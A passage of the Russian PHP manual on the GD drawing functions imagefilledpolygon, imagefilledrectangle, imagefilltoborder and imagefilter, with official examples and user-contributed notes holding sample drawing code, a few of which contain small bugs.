    imagefilledpolygon($im, $values, count($values)/2, $r);
}
imagepng($im);
imagedestroy($im);
?>
rbenheidorn at gmail dot com 01-Feb-2015 09:20
Discovered while working on printing geographical boundaries to an image: if you provide floating point vertices, then the decimal value is automatically truncated. This can cause images drawn with floating point vertices to shift slightly towards the top-left corner. My personal resolution is to round all of the vertices to their nearest whole values, which eliminates this shift.
austinoblouk at yahoo dot com 05-Sep-2009 08:28
Actually the minimum it allows is 3. It says "Total number of vertices, which must be bigger than 3." but it allows 3...
Arnapou 29-Oct-2007 06:49
I discovered that the GD imagefilledpolygon function is incorrect for some drawing with transparent color (for example red 50% : RGBA = 255, 0, 0, 64).

I tried to draw a complex form with lots of points really near (1 pixel of distance) and a transparent red.

The problem was : some border pixels were not drawn by the imagefilledpolygon but were drawn with imagepolygon !?!?

So I wrote my own imagefilledpolygon function which work very well in all case I tested.

<?php
// $points should be an array of coordinates like that :
$points = array(
    array(0, 0),
    array(100, 50),
    array(90, 100),
    array(50, 50),
    array(70, 30),
    array(10, 10),
);
?>

<?php
function myimagefilledpolygon(& $img, $points, $color) {
    $scanline = 99999;
    // compute edges
    $all_edges = array();
    $n = count($points);
    for($i=0; $i<$n; $i++) {
        $p1 = $points[$i];
        if ($i == $n-1) { $p2 = $points[0]; } else { $p2 = $points[$i+1]; }
        $x1 = $p1[0]; $y1 = $p1[1];
        $x2 = $p2[0]; $y2 = $p2[1];
        if ($y1 != $y2) {
            $invslope = ($x2 - $x1)/($y2 - $y1);
            if ($y1 < $y2 ) {
                $ymin = $y1;
                $xval = $x1;
                $ymax = $y2;
            } else {
                $ymin = $y2;
                $xval = $x2;
                $ymax = $y1;
            }
            $all_edges[] = array($ymin, $ymax, $xval, $invslope);
            if ($ymin < $scanline) { $scanline = $ymin; }
        } else {
            if ($y1 < $scanline) { $scanline = $y1; }
            if ($y2 < $scanline) { $scanline = $y2; }
        }
    }
    // draw
    $active = array();
    do {
        // add edges to active array
        $tmp = array();
        $n = count($all_edges);
        for($i=0; $i<$n; $i++) {
            if ($all_edges[$i][0] == $scanline) {
                $active[] = $all_edges[$i];
            } else {
                $tmp[] = $all_edges[$i];
            }
        }
        $all_edges = $tmp;
        // remove previous edges from active array
        $tmp = array();
        $n = count($active);
        for($i=0; $i<$n; $i++) {
            if ($active[$i][1] > $scanline) {
                $tmp[] = $active[$i];
            }
        }
        $active = $tmp;
        // sort active tab
        $n = count($active);
        for($i=0; $i<$n-1; $i++) {
            $min = $i;
            for($k=$i+1; $k<$n; $k++) {
                if ($active[$k][2] < $active[$min][2]) { $min = $k; }
            }
            if ($i != $min) {
                $tmp = $active[$i];
                $active[$i] = $active[$min];
                $active[$min] = $tmp;
            }
        }
        // draw
        $n = count($active);
        for($i=0; $i<$n; $i+=2) {
            if ($i+1 < $n) {
                if ($tmp[$i][2] == $active[$i+1][2]) {
                    imagesetpixel($img, round($active[$i][2]), $scanline, $color);
                } else {
                    imageline($img, round($active[$i][2]), $scanline, round($active[$i+1][2]), $scanline, $color);
                }
            }
        }
        // increment x values
        $n = count($active);
        for($i=0; $i<$n; $i++) { $active[$i][2] += $active[$i][3]; }
        $scanline++;
    } while (count($all_edges) + count($active) > 0);
}
?>
webmaster at mywebsolution dot de 22-Oct-2007 02:24
Just thought that 'tatlar at yahoo dot com's function has some redundant code in it, so I tried to "improve" it. Now you can choose a variable number of spikes.

<?php
error_reporting(E_ALL);
function drawStar($x, $y, $radius, $spikes=5) {
    // $x, $y -> Position in the image
    // $radius -> Radius of the star
    // $spikes -> Number of spikes

    $coordinates = array();
    $angel = 360 / $spikes ;

    // Get the coordinates of the outer shape of the star
    $outer_shape = array();
    for($i=0; $i<$spikes; $i++){
        $outer_shape[$i]['x'] = $x + ($radius * cos(deg2rad(270 - $angel*$i)));
        $outer_shape[$i]['y'] = $y + ($radius * sin(deg2rad(270 - $angel*$i)));
    }

    // Get the coordinates of the inner shape of the star
    $inner_shape = array();
    for($i=0; $i<$spikes; $i++){
        $inner_shape[$i]['x'] = $x + (0.5*$radius * cos(deg2rad(270-180 - $angel*$i)));
        $inner_shape[$i]['y'] = $y + (0.5*$radius * sin(deg2rad(270-180 - $angel*$i)));
    }

    // Bring the coordinates in the right order
    foreach($inner_shape as $key => $value){
        if($key == (floor($spikes/2)+1))
             break;
        $inner_shape[] = $value;
        unset($inner_shape[$key]);
    }

    // Reset the keys
    $i=0;
    foreach($inner_shape as $value){
        $inner_shape[$i] = $value;
        $i++;
    }

    // "Merge" outer and inner shape
    foreach($outer_shape as $key => $value){
         $coordinates[] = $outer_shape[$key]['x'];
         $coordinates[] = $outer_shape[$key]['y'];
         $coordinates[] = $inner_shape[$key]['x'];
         $coordinates[] = $inner_shape[$key]['y'];
    }

    // Return the coordinates
    return $coordinates ;
}

// Example
$spikes = 5;

$values = drawStar(250, 250, 200, $spikes);
$im = imagecreate(500,500);
imagecolorallocate($im,0,0,0);
$w = imagecolorallocate($im, 255, 255, 255);
imagefilledpolygon($im, $values, $spikes*2, $w);
imageGIF($im);
imagedestroy($im);
?>
jylyn at hotmail dot com 16-Oct-2006 05:11
In spite of what it says about requiring more than 3 vertices, it is possible to draw a triangle with this function!
tatlar at yahoo dot com 11-Sep-2006 05:08
<?php function _makeFiveSidedStar( $x, $y, $radius, $shape='polygon', $spiky=NULL ) {
    // $x, $y co-ords of origin (in pixels), $radius (in pixels), $shape - 'polygon' or 'star', $spikiness - ratio between 0 and 1
    $point = array() ;
    $angle = 360 / 5 ;
    $point[0]['x'] = $x ;
    $point[0]['y'] = $y - $radius ;
    $point[2]['x'] = $x + ( $radius * cos( deg2rad( 90 - $angle ) ) ) ;
    $point[2]['y'] = $y - ( $radius * sin( deg2rad( 90 - $angle ) ) ) ;
    $point[4]['x'] = $x + ( $radius * sin( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[4]['y'] = $y + ( $radius * cos( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[6]['x'] = $x - ( $radius * sin( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[6]['y'] = $y + ( $radius * cos( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[8]['x'] = $x - ( $radius * cos( deg2rad( 90 - $angle ) ) ) ;
    $point[8]['y'] = $y - ( $radius * sin( deg2rad( 90 - $angle ) ) ) ;
    if( $shape == 'star' ) {
        if( $spiky == NULL ) $spiky = 0.5 ;  // default to 0.5
        $indent = $radius * $spiky ;
        $point[1]['x'] = $x + ( $indent * cos( deg2rad( 90 - $angle/2 ) ) ) ;
        $point[1]['y'] = $y - ( $indent * sin( deg2rad( 90 - $angle/2 ) ) ) ;
        $point[3]['x'] = $x + ( $indent * sin( deg2rad( 180 - $angle ) ) ) ;
        $point[3]['y'] = $y - ( $indent * cos( deg2rad( 180 - $angle ) ) ) ;
        $point[5]['x'] = $x ;
        $point[5]['y'] = $y + ( $indent * sin( deg2rad( 180 - $angle ) ) ) ;
        $point[7]['x'] = $x - ( $indent * sin( deg2rad( 180 - $angle ) ) ) ;
        $point[7]['y'] = $y - ( $indent * cos( deg2rad( 180 - $angle ) ) ) ;
        $point[9]['x'] = $x - ( $indent * cos( deg2rad( 90 - $angle/2 ) ) ) ;
        $point[9]['y'] = $y - ( $indent * sin( deg2rad( 90 - $angle/2 ) ) ) ;
    }
    ksort( $point ) ;
    $coords = array() ;  // new array
    foreach( $point as $pKey=>$pVal ) {
        if( is_array( $pVal ) ) {
            foreach( $pVal as $pSubKey=>$pSubVal ) {
                if( !empty( $pSubVal ) ) array_push( $coords, $pSubVal ) ;
            }
        }
    }
    return $coords ;
}
$values = _makeFiveSidedStar( 100, 100, 50, 'star' ) ;
// Put values into imagepolygon function. You need to define the $image and $color, and flush it out to an image type.?>
etnekor at tar dot hu 22-Jan-2006 01:18
There is a simple function to draw a filled point with a chosen radius and color.

<?php
function drawPoint($img, $radius, $origo_x, $origo_y, $pointColor)
{
  for ($i=0;$i<=360;$i++)
  {
    $pont[] = $origo_x + ($radius * sin(deg2rad($i)));
    $pont[] = $origo_y - ($radius * cos(deg2rad($i)));
  }
  reset($pont);
  ImageFilledPolygon ($img, $pont, (sizeof($pont)/2), $pointColor);
}
?>


Рисование закрашенного прямоугольника

  • « imagefilledpolygon
  • imagefilltoborder »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Рисование закрашенного прямоугольника

imagefilledrectangle

(PHP 4, PHP 5, PHP 7, PHP 8)

imagefilledrectangle — Рисование закрашенного прямоугольника

Описание

imagefilledrectangle(
GdImage $image,
int $x1,
int $y1,
int $x2,
int $y2,
int $color
): bool

Создаёт прямоугольник закрашенный цветом color в заданном изображении image. Начальная точка 1, конечная 2. 0,0 - левый верхний угол изображения.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

x1

x-координата точки 1.

y1

y-координата точки 1.

x2

x-координата точки 2.

y2

y-координата точки 2.

color

Цвет заливки. Идентификатор цвета, созданный функцией imagecolorallocate().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Пример использования imagefilledrectangle()

<?php
// Создание изображения 55x30
$im = imagecreatetruecolor(55, 30);
$white = imagecolorallocate($im, 255, 255, 255);

// Рисование прямоугольника
imagefilledrectangle($im, 4, 4, 50, 25, $white);

// Сохранение изображения
imagepng($im, './imagefilledrectangle.png');
imagedestroy($im);
?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: imagefilledrectangle()

User Contributed Notes

Darren Edale 03-Oct-2013 09:58
The issue with filling using a rectangle is caused in your code by having alpha blending turned on before rendering the filled rectangle. Alpha blending causes what you draw on the image to be blended with whatever is already on the image according to the alpha channels of each. Therefore, because blending is on, and because the rectangle's fill colour is completely transparent, the blending of the existing image content with the transparent rectangle results in no change to the existing image.

With blending off, when drawing to the image what you draw completely replaces what is already there. So, drawing the rectangle in this case results in the original content of the image being completely replaced with a transparent rectangle.

So in order to use imagefilledrectangle() to erase an image to transparency, you need to turn off alpha blending first.

I guess the reason imagefill() works with alpha blending on is because it does not perform any alpha blending - it always works without alpha blending regardless of the setting. I suspect there are reasons for this to do with alpha channels complicating edge detection.

I would recommend using imagefilledrectangle() to create a blank transparent image resource instead of imagefill() because it is undoubtedly much faster in probably all cases.

Here is some example code to blank an image to transparent, assuming $im is a successfully created image:

<?php
$transparent = imagecolorallocatealpha($im, 0, 0, 0, 127);
imagealphablending($im, false);
imagefilledrectangle($im, 0, 0, imagesx($im) - 1, $imagesy($im) - 1, $transparent);
imagecolordeallocate($transparent);
imagealphablending($im, true);
?>
olivier dot pons at google dot mail dot com 21-Aug-2012 09:48
I wanted to clear an image, and set it to full transparent.
imagefilledrectangle() seems to ignore alpha channel and alpha blending.
Use imagefill() instead:

<?php
$w = imagesx($final);
$h = imagesy($final);
$grande = imagecreatetruecolor($w, $h);

// Alpha blending on to use channel alpha
imagealphablending($grande, true);
// Allocate a transparent color and fill the new image with it.
// Without this the image will have a black background instead
// of being transparent.
$transparent = imagecolorallocatealpha($grande, 0, 0, 0, 127);
// transparent alpha will be _ignored_:
imagefilledrectangle($grande, 0, 0, $w, $h, $transparent);
// ok, transparent will be used and set whole alpha channel to transparent:
imagefill($grande, 0, 0, $transparent);
?>
Tobi 25-Sep-2010 02:48
It looks like there are waves beetween the points, but it's straight.

<?php
$maxwert = 300;
$size = 10;
$img = imagecreatetruecolor($maxwert, $maxwert);
imagecolorallocate($img, 0, 0, 0);

   for($y=0;$y<$maxwert;$y += $size){
     for($x=0;$x<$maxwert;$x+=$size){
      $r = rand(0,255);
      $g = rand(0,255);
      $b = rand(0,255);
      $color = imagecolorallocate($img, $r, $g, $b);

      imagefilledrectangle ($img, $x, $y, $x+$size ,$y+$size, $color);

     }
   }
header("Content-type: image/png");
imagepng($img);
?>
Mice32 19-Mar-2010 04:57
That script draws Serpinski's carpet:

<?php
    set_time_limit(5);

    $i = 4;        // Iterations
    $xy = 500;    // Picture size

    $img = imagecreatetruecolor($xy, $xy);

    $white = imagecolorallocate($img, 255, 255, 255);

    drawCarpet(0, 0, $xy, $xy, $i);
    function drawCarpet($a, $b, $c, $d, $n) {
        global $img, $white;

        if($n <= 0) return;

        $a1 = 2 * $a / 3 + $c / 3;
        $c1 = $a / 3 + 2 * $c / 3;
        $b1 = 2 * $b / 3 + $d / 3;
        $d1 = $b / 3 + 2 * $d / 3;

        imagefilledrectangle($img, $a1, $b1, $c1, $d1, $white);

        drawCarpet($a, $b, $a1, $b1, $n - 1);
        drawCarpet($a1, $b, $c1, $b1, $n - 1);
        drawCarpet($c1, $b, $c, $b1, $n - 1);

        drawCarpet($c1, $b, $c, $b1, $n - 1);
        drawCarpet($a, $b1, $a1, $d1, $n - 1);
        drawCarpet($c1, $b1, $c, $d1, $n - 1);

        drawCarpet($a, $d1, $a1, $d, $n - 1);
        drawCarpet($a1, $d1, $c1, $d, $n - 1);
        drawCarpet($c1, $d1, $c, $d, $n - 1);
    }

    header('Content-Type: image/png');
    imagepng($img);
?>
mike at delenk dot net 07-May-2008 12:55
The examples in function imagettfbbox() gave me many problems because of misunderstand of how the text is positionned in the box.

So I did a new example:
- writing a text
- in the correct position in its box
- with a padding around

Enjoy !
Mike

<?

// some settings
    $angle = 0;
    $text = 'Uhg 0123456789';
    $font_face = dirname(__FILE__).'/verdana.ttf'; // put the file in the same directory
    $font_size = 9; //(int) pixels in GD 1, or points in GD 2

// retrieves box frame
    $box = imagettfbbox($font_size, 0, $font_face, $text);
    $bottom_left_x = $box[0]; // used below
    $bottom_left_y = $box[1]; // used below
    $bottom_right_x = $box[2]; // used below
    $bottom_right_y = $box[3];
    $top_right_x = $box[4];
    $top_right_y = $box[5];
    $top_left_x = $box[6];
    $top_left_y = $box[7]; // used below

// define width and height of the text box
    $box_w = abs($bottom_left_x) + abs($bottom_right_x);
    $box_h = abs($bottom_left_y) + abs($top_left_y);

// add padding
    $padding_x = 5;
    $padding_y = 5;
    $box_w = $box_w + 2 * $padding_x;
    $box_h = $box_h + 2 * $padding_y;

// origin of the text = baseline of the first char
    $text_x = abs($bottom_left_x) -1 + $padding_x;
    $text_y = $box_h -1 - abs($bottom_left_y) - $padding_y;

// mysterious correction for the characters going low like pgjq
    if(abs($bottom_left_y) <= 1) $box_h--;

// create the image
    $img = imagecreatetruecolor($box_w, $box_h);

// define some colors
    $white = imagecolorallocate($img,255,255,255);
    $black = imagecolorallocate($img,0,0,0);
    $lightgrey = imagecolorallocate($img, 200, 200, 200);
    $grey = imagecolorallocate($img,100,100,100);
    $yellow = imagecolorallocate($img, 0xFF, 0xFF, 0x00);

// attribute colors
    $font_color =  $black;
    $padding_color =  $lightgrey;
    $background_color =  $yellow;

// fill image with background color
    imagefill($img, 0, 0, $background_color);

// fill image with padding color
    imagefilledrectangle($img, 0, 0, $box_w, $padding_y - 1, $padding_color); // top
    imagefilledrectangle($img, 0, 0, $padding_x - 1, $box_h - 1, $padding_color); // left
    imagefilledrectangle($img, 0, $box_h - $padding_y -1, $box_w, $box_h - 1, $padding_color); // bottom
    imagefilledrectangle($img, $box_w - $padding_x, 0, $box_w - 1, $box_h - 1, $padding_color); // right

//write text
imagettftext($img, $font_size, 0, $text_x, $text_y, $font_color, $font_face, $text);

//rotate image
    if ($angle > 0) $img = imagerotate($img, $angle, $white);

// send header
    header("Content-type: image/gif");

//sends image
    imagegif($img);
    imagedestroy($img);
?>
Google 15-Dec-2006 01:35
<?php
//index.php
//set your year, month, daym hour, minute, second you want to cuuntdown to.

//ONLY CHANGE FROM HERE
$year="2006";
$month="12";
$day="25";
$hour="00";
$minute="00";
$second="00";
$event="Christmas Day 2006";

$time=mktime($hour, $minute, $second, $month, $day, $year);

$timecurrent=date('U');
$cdtime=$time-$timecurrent;
$cdmonths=$cddays/30;
$cdyears=$cddays/365;

//Used this case only...
$cdminutes=round($cdtime/60);
//cdtime is seconds
$cdhours=round($cdtime/3600);
$cddays=round($cdhours/24);

//String the date
$currentdate = date('l, F j, Y');
// Set the content-type
header("Content-type: image/png");

// Create the image
$im = imagecreatetruecolor(701, 355);

//Temp BGCOLOR (center of c-finder)
$bg1 = 208;
$bg2 = 130;
$bg3 = 208;

$s1 = $bg1 - 20;
$s2 = $bg2 - 20;
$s3 = $bg3 - 20;

$t1 = $bg1 + 30;
$t2 = $bg2 + 30;
$t3 = $bg3 + 30;

$cArray=array();
    $c1 = imagecolorallocate($im, $bg1, $bg2, $bg3); //Background
    $c8 = imagecolorallocate($im, 255, $bg2, 255); //Background
    $c2 = imagecolorallocate($im, $s1, $s2, $s3); //Shadow
    $c3 = imagecolorallocate($im, $t1, $t2, $t3); //Text

imagefilledrectangle($im, 0, 0, 701, 50, $c1);

imagefilledrectangle($im, 0, 0, 701, 50, $c8);

// The text to draw
$text = $string;
// Replace path by your own font path
$fnum = rand(1, 9);
$font = "/f/font ($fnum)";

// Add some shadow to the text
imagettftext($im, 29, 1, 17, 42, $c2, $font, "Today is:");
imagettftext($im, 28, -1, 15, 40, $c3, $font, "Today is:");
imagettftext($im, 29, 1, 17, 92, $c2, $font, "...$currentdate...");
imagettftext($im, 28, -1, 15, 90, $c3, $font, "...$currentdate...");
imagettftext($im, 29, 1, 17, 142, $c2, $font, "So there are exactly:");
imagettftext($im, 28, -1, 15, 140, $c3, $font, "So there are exactly:");
imagettftext($im, 29, 1, 17, 192, $c2, $font, "$cddays with just...");
imagettftext($im, 28, -1, 15, 190, $c3, $font, "$cddays days with just...");
imagettftext($im, 29, 1, 17, 242, $c2, $font, "$cdminutes minutes and only...");
imagettftext($im, 28, -1, 15, 240, $c3, $font, "$cdminutes minutes and only...");
imagettftext($im, 29, 1, 17, 292, $c2, $font, "$cdseconds seconds until...");
imagettftext($im, 28, -1, 15, 290, $c3, $font, "$cdseconds seconds until...");
imagettftext($im, 29, 1, 17, 342, $c2, $font, "- + $event + -");
imagettftext($im, 28, -1, 15, 340, $c3, $font, "- + $event + -");

// Using imagepng() results in clearer text compared with imagejpeg()
imagepng($im);
imagedestroy($im);
?>
info at 555webdesign dot com 25-Oct-2006 10:13
Thanks terereese. it took me over two hours to figure that one out.
it worked locally: imagefilledrectangle(imagresource, int x1, int x2, int y1, inty2, color)

BUT remote on my provider only this worked: imagefilledrectangle(imagresource, int x1, int y2, int x1, inty1, color)

Any ideas why and where?
terereese at hotmail dot com 11-Jul-2006 08:02
I would like to inform developers about a problem I encountered when trying to use imagefilledrectangle.

I noted that the order in which the start and end y coordinates are listed is extremely important.
as in the statements below.
if($this->d_values[$i]['unit_value'] < 0)
imagefilledrectangle($this->img,$position_x, $start_y , $end_x, $end_y ,$d_color);
else
imagefilledrectangle($this->img, $position_x,$ end_y , $end_x, $start_y,$d_colour);

Thanks
administrador(ensaimada)sphoera(punt)com 03-May-2006 03:33
I've made a function to make full color gradients:

<?php

// The image must be in truecolor mode!!
    function gradient_region($img, $x, $y, $width, $height,$src_color, $dest_color=0){
        $src_alpha = ($src_color) >> 24;
        $src_red = ($src_color & 0xFF0000) >> 16;
        $src_green = ($src_color & 0x00FF00) >> 8;
        $src_blue = ($src_color & 0x0000FF);

        $dest_alpha = ($dest_color) >> 24;
        $dest_red = ($dest_color & 0xFF0000) >> 16;
        $dest_green = ($dest_color & 0x00FF00) >> 8;
        $dest_blue = ($dest_color & 0x0000FF);

        $inc_alpha = ($dest_alpha - $src_alpha) / $width;
        $inc_red = ($dest_red - $src_red)/$width;
        $inc_green = ($dest_green - $src_green)/$width;
        $inc_blue = ($dest_blue - $src_blue)/$width;

        // If you need more performance, the step can be increased
        for ($i=0;$i<$width;$i++){
            $src_alpha += $inc_alpha;
            $src_blue += $inc_blue;
            $src_green += $inc_green;
            $src_red += $inc_red;
            imagefilledrectangle($img,
                $x+$i,$y,
                $x+$i,$y+$height,
                imagecolorallocatealpha($img,
                $src_red,$src_green,$src_blue,$src_alpha));
        }
    }
?>

More functions at http://www.sphoera.com
me [a.t.] forestfactory [d.o.t.] de 12-Oct-2005 04:44
As of PHP 5, it seems to be no longer necessary to draw the rectangle from the upper left to the lower right corner. This led me into big trouble porting a script developed under PHP 5 to PHP 4.
michal dot kocarek at seznam dot cz 30-May-2004 01:18
If you want to draw a rectangle with rounded corners, you can use this simple function...
Rectangle starts at x1y1 and ends at x2y2. $radius defines radius of circled corner.

<?

function ImageRectangleWithRoundedCorners(&$im, $x1, $y1, $x2, $y2, $radius, $color) {
// draw rectangle without corners
imagefilledrectangle($im, $x1+$radius, $y1, $x2-$radius, $y2, $color);
imagefilledrectangle($im, $x1, $y1+$radius, $x2, $y2-$radius, $color);
// draw circled corners
imagefilledellipse($im, $x1+$radius, $y1+$radius, $radius*2, $radius*2, $color);
imagefilledellipse($im, $x2-$radius, $y1+$radius, $radius*2, $radius*2, $color);
imagefilledellipse($im, $x1+$radius, $y2-$radius, $radius*2, $radius*2, $color);
imagefilledellipse($im, $x2-$radius, $y2-$radius, $radius*2, $radius*2, $color);
}

?>
booga 17-Jan-2004 05:48
a simple way of using imagerectangle to create a percentage bar

<?php
//this needs to reside in its own php page
//you can include that php page in your html as you would an image:
//<IMG SRC="ratingpng.php?rating=25.2" border="0">

function drawRating($rating) {
    $image = imagecreate(102,10);
    $back = ImageColorAllocate($image,255,255,255);
    $border = ImageColorAllocate($image,0,0,0);
    $red = ImageColorAllocate($image,255,60,75);
    $fill = ImageColorAllocate($image,44,81,150);
    ImageFilledRectangle($image,0,0,101,9,$back);
    ImageFilledRectangle($image,1,1,$rating,9,$fill);
    ImageRectangle($image,0,0,101,9,$border);
    imagePNG($image);
    imagedestroy($image);
}

Header("Content-type: image/png");
drawRating($rating);

?>
ivank at 2xtreme dot net 30-Mar-2002 04:34
As stated above, it needs to go from the top left corner to the bottom right corner. Just use this to flip it if neccessary:

// flip them if neccessary (x3, y3 are temp vars)
if($x1 > $x2) { $x3 = $x2; $x2 = $x1; $x1 = $x3; }
if($y1 > $y2) { $y3 = $y2; $y2 = $y1; $y1 = $y3; }
ImageFilledRectangle($im, $x1, $y1, $x2, $y2, $color);
saramg at uclink dot berkeley dot edu 29-Nov-2001 07:42
Important quirk to note:

While imagerectangle will allow you to use a different order of your coordinates (such as bottom-left to upper-right), imagefilledrectangle will only work correctly if you use top-left to bottom-right as indicated in the docs.


Заливка цветом

  • « imagefilledrectangle
  • imagefilter »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Заливка цветом

imagefilltoborder

(PHP 4, PHP 5, PHP 7, PHP 8)

imagefilltoborder — Заливка цветом

Описание

imagefilltoborder(
GdImage $image,
int $x,
int $y,
int $border_color,
int $color
): bool

imagefilltoborder() производит заливку области, ограниченной цветом border_color. Начальная координата x, y (левый верхний угол имеет координаты 0, 0), а область закрашивается цветом color.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

x

x-координата начала.

y

y-координата начала.

border_color

Цвет границы заливки. Идентификатор цвета, созданный функцией imagecolorallocate().

color

Цвет заливки. Идентификатор цвета, созданный функцией imagecolorallocate().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Закрашивание эллипса

<?php
// создание изображения, установка белого фона
$im = imagecreatetruecolor(100, 100);
imagefilledrectangle($im, 0, 0, 100, 100, imagecolorallocate($im, 255, 255, 255));

// рисование эллипса закрашенного черным цветом
imageellipse($im, 50, 50, 50, 50, imagecolorallocate($im, 0, 0, 0));

// установка цвета границы заливки
$border = imagecolorallocate($im, 0, 0, 0);
$fill = imagecolorallocate($im, 255, 0, 0);

// заливка области
imagefilltoborder($im, 50, 50, $border, $fill);

// вывод и освобождение памяти
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: Закрашивание эллипса

Примечания

Алгоритм не запоминает явно, какие пиксели уже были установлены, а скорее делает вывод по цвету пикселя, поэтому он не может отличить только что установленные пиксели от пикселей, которые уже есть. Это означает, что выбор любого цвета заливки, который уже используется в изображении, может привести к нежелательным результатам.

User Contributed Notes

admin at worldlanguages dot tk 10-Sep-2004 02:54
In the example below, for those with newer GD versions, it makes more sense to replace:

imagearc($im, $center, $center, $diametre, $diametre, 0, 360, $el_color);

with:

imageellipse($im, $center, $center, $diametre, $diametre, $el_color);

This is obviously simpler.
edrad at wanadoo dot fr 11-Jun-2003 05:02
Very useful to build a pseudo-sphere with a color gradient...

<?php
 $width = 300;
 $center = $width / 2;
 $colordivs = 255 / $center;
 $im = @imagecreate($width, $width);
 $back_color = imagecolorallocate($im, 20, 30, 40);
 imagefill($im, 0, 0, $back_color);
 for ($i = 0; $i <= $center; $i++)
 {
     $diametre = $width - 2 * $i;
    $el_color = imagecolorallocate($im, $i * $colordivs, 0, 0);
    imagearc($im, $center, $center, $diametre, $diametre, 0, 360, $el_color);
    imagefilltoborder($im, $center, $center, $el_color, $el_color);
 }
 imagepng($im);
?>

Dark Skull Software
http://www.darkskull.net


Применяет фильтр к изображению

  • « imagefilltoborder
  • imageflip »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Применяет фильтр к изображению

imagefilter

(PHP 5, PHP 7, PHP 8)

imagefilter — Применяет фильтр к изображению

Описание

imagefilter(GdImage $image, int $filter, array|int|float|bool ...$args): bool

imagefilter() применяет заданный фильтр filter к изображению image.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

filter

filter может быть одним из следующих:

  • IMG_FILTER_NEGATE: Инвертирует все цвета изображения.
  • IMG_FILTER_GRAYSCALE: Преобразует цвета изображения в градации серого путём преобразования компонент красного, зелёного и синего в их сумму с учётом весов, таких же как при вычислении яркости (Y') по REC.601. Альфа-канал сохраняется. Для изображений, использующих палитру, результат может отличаться в виду ограничений, накладываемых палитрой.
  • IMG_FILTER_BRIGHTNESS: Изменяет яркость изображения. Используйте аргумент args для задания уровня яркости. Диапазон яркостей от -255 до 255.
  • IMG_FILTER_CONTRAST: Изменяет контрастность изображения. Используйте аргумент args для задания уровня контрастности.
  • IMG_FILTER_COLORIZE: То же, что и IMG_FILTER_GRAYSCALE, за исключением того, что можно задать цвет. Используйте аргументы args, arg2 и arg3 для указания каналов red, green, blue, а arg4 для alpha канала. Диапазон для каждого канала цвета от 0 до 255.
  • IMG_FILTER_EDGEDETECT: Использует определение границ для их подсветки.
  • IMG_FILTER_EMBOSS: Добавляет рельеф.
  • IMG_FILTER_GAUSSIAN_BLUR: Размывает изображение по методу Гаусса.
  • IMG_FILTER_SELECTIVE_BLUR: Размывает изображение.
  • IMG_FILTER_MEAN_REMOVAL: Использует усреднение для достижения эффекта "эскиза".
  • IMG_FILTER_SMOOTH: Делает границы более плавными, а изображение менее чётким. Используйте аргумент args для задания уровня гладкости.
  • IMG_FILTER_PIXELATE: Применяет эффект пикселирования. Используйте аргумент args для задания размера блока и аргумент arg2 для задания режима эффекта пикселирования.
  • IMG_FILTER_SCATTER: Применяет эффект рассеивания к изображению, используйте args и arg2 для определения силы эффекта и дополнительно arg3 для применения только к выбранным цветам пикселей.

args

  • IMG_FILTER_BRIGHTNESS: Уровень яркости.
  • IMG_FILTER_CONTRAST: Уровень контрастности.
  • IMG_FILTER_COLORIZE: Значение красного компонента цвета.
  • IMG_FILTER_SMOOTH: Уровень сглаживания.
  • IMG_FILTER_PIXELATE: Размер блока в пикселах.
  • IMG_FILTER_SCATTER: Уровень уменьшения эффекта. Не должен быть больше или равен уровню добавления эффекта, установленному с помощью arg2.

arg2

  • IMG_FILTER_COLORIZE: Значение зелёного компонента цвета.
  • IMG_FILTER_PIXELATE: Использовать усовершенствованный эффект пикселирования или нет (по умолчанию false).
  • IMG_FILTER_SCATTER: Уровень добавления эффекта.

arg3

  • IMG_FILTER_COLORIZE: Значение синего компонента цвета.
  • IMG_FILTER_SCATTER: Необязательный массив значений индексации цвета для применения эффекта.

arg4

  • IMG_FILTER_COLORIZE: Альфа канал, значение между 0 и 127. 0 означает непрозрачность, 127 соответствует абсолютной прозрачности.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).
7.4.0 | Добавлена поддержка рассеивания (IMG_FILTER_SCATTER).

Примеры

Пример #1 Пример использования imagefilter() с фильтром grayscale

<?php
$im = imagecreatefrompng('dave.png');

if($im && imagefilter($im, IMG_FILTER_GRAYSCALE))
{
echo 'Изображение преобразовано к градациям серого.';

imagepng($im, 'dave.png');
}
else
{
echo 'Преобразование не удалось.';
}

imagedestroy($im);
?>

Пример #2 Пример использования imagefilter() с фильтром яркости

<?php
$im = imagecreatefrompng('sean.png');

if($im && imagefilter($im, IMG_FILTER_BRIGHTNESS, 20))
{
echo 'Яркость изображения изменена.';

imagepng($im, 'sean.png');
imagedestroy($im);
}
else
{
echo 'Изменить яркость не удалось.';
}
?>

Пример #3 Пример использования imagefilter() с фильтром colorize

<?php
$im = imagecreatefrompng('philip.png');

/* R, G, B, so 0, 255, 0 is green */
if($im && imagefilter($im, IMG_FILTER_COLORIZE, 0, 255, 0))
{
echo 'Изображение преобразовано к оттенкам зеленого.';

imagepng($im, 'philip.png');
imagedestroy($im);
}
else
{
echo 'Преобразование не удалось.';
}
?>

Пример #4 Пример использования imagefilter() с фильтром negate

<?php
// Определим нашу функцию, которую можно использовать в PHP
// без imagefilter()
function negate($im)
{
if(function_exists('imagefilter'))
{
